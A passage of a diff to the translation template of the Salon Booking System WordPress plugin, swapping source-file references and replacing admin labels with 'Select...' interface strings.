build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13\n-msgid \"General\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79\n+msgid \"SELECT\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14\n-msgid \"Booking Rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165\n+msgid \"Select\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:15, src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:278\n-msgid \"Checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:11\n+msgid \"Select a column\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:16\n-msgid \"Payments\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:592\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:592\n+msgid \"Select a day\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17\n-msgid \"Style\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64\n+msgid \"Select a discount\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18\n-msgid \"Google Calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18\n+msgid \"Select a page where to redirect your users after booking completition.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19\n-msgid \"Support\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25\n+msgid \"Select a page where your users view their bookings.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:32\n-msgid \"Salon Settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13\n+msgid \"Select a page with the booking form.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:33, src\u002FSLN\u002FAdmin\u002FSettings.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:63\n-msgid \"Settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:14\n+msgid \"Select a payment method\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:62, src\u002FSLN\u002FPostType\u002FBooking.php:631, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:631, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:631\n-msgid \"Salon Booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71\n+msgid \"Select a resource\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38\n-msgid \"Salon Tools\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:33\n+msgid \"Select a service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:118, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14\n-msgid \"DATE\u002FTIME\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98\n+msgid \"Select a shop\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:119, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119\n-msgid \"CREATED\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70\n+msgid \"Select an assistant\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:121, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21\n-msgid \"ASSISTANTS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:605\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:605\n+msgid \"Select an hour\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:122, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31\n-msgid \"NUMBER OF FOR EACH SERVICE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_content.php:68\n+msgid \"Select an option\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:123, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, 